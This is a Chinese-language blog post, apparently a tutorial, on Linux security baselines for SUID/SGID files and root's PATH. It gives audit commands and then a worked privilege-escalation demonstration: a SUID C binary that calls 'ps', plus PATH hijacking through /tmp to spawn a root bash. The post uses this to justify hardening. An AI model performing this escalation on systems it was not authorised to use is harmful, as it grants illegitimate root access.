Linux 安全基线-操作系统Linux SUID/SGID文件安全基线

Linux 安全基线-操作系统Linux SUID/SGID文件安全基线

最近很多小伙伴私底下问到,Linux下root的环境变量和未授权的SUID和SGID为什么要加固?会有什么风险?具体有哪些危害?今天给大家简单介绍一下Linux的环境变量配置不当可以导致系统提权。

1、Linux的加固项介绍:

1.1 查找未授权的SUID/SGID文件

安全基线项目名称:

操作系统Linux SUID/SGID文件安全基线要求项

安全基线项说明

文件系统-查找未授权的SUID/SGID文件

检测操作步骤:

用下面的命令查找系统中所有的SUID和SGID程序,执行:

for PART in `grep -v ^# /etc/fstab | awk ‘($6 != “0”) {print $2 }’`; do

find $PART ( -perm -04000 -o -perm -02000 ) -type f -xdev -print

Done

建议经常性的对比suid/sgid文件列表,以便能够及时发现可疑的后门程序

1.2 root用户环境变量的安全性

安全基线项目名称:

操作系统Linux超级用户环境变量安全基线要求项

安全基线项说明:

帐号与口令-root用户环境变量的安全性

检测操作步骤:

执行:echo $PATH | egrep ‘(^|:)(.|:|$)’,检查是否包含父目录,

执行:find `echo $PATH | tr ‘:’ ‘ ‘` -type d ( -perm -002 -o -perm -020 ) -ls,检查是否包含组目录权限为777的目录

确保root用户的系统路径中不包含父目录,在非必要的情况下,不应包含组权限为777的目录

2、利用过程

$PATH是Linux和类Unix操作系统中的环境变量,它指定了存储所有可执行程序的bin和sbin目录。当用户在终端运行任何命令时,它向shell发出请求,在环境变量的帮助下搜索可执行文件以响应用户执行的命令。超级用户通常还具有/sbin和/usr /sbin条目,以便轻松执行系统管理命令。

step1:使用echo命令就能轻易的查看和当前用户相关的环境变量。

echo $PATH

/tmp:/tmp:/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/test/bin

step2:编写一个C语言文件(demo.c),编辑后可执行的二进制文件,需要GCC的环境,如果没有自行安装。

#include<unistd.h> void main() { 	setuid(0); 	setgid(0); 	system("ps"); } 

step3:进行编译,赋权限并执行

ls

gcc demo.c -o shell

chmod u+s shell

ls -la shell

./shell

test@localhost ~]$ ./shell

PID TTY TIME CMD

2407 pts/1 00:00:00 bash

2460 pts/1 00:00:00 shell

2461 pts/1 00:00:00 pss

step4: 攻击测试

使用copy命令进行测试提权

cd /tmp echo “/bin/bash” > ps chmod 777 ps echo $PATH export PATH=/tmp:$PATH cd /home/ttgo2 ./shell whoami 

3、利用说明

这里充分说明了,如果一个普通用户的PATH变量包含了自己能控制的执行文件目录,再加上利用关键具有SUID权限的文件,就可以进行提权,所以这两个配置项是非常有必要进行安全加固的。

发表评论

电子邮件地址不会被公开。 必填项已用*标注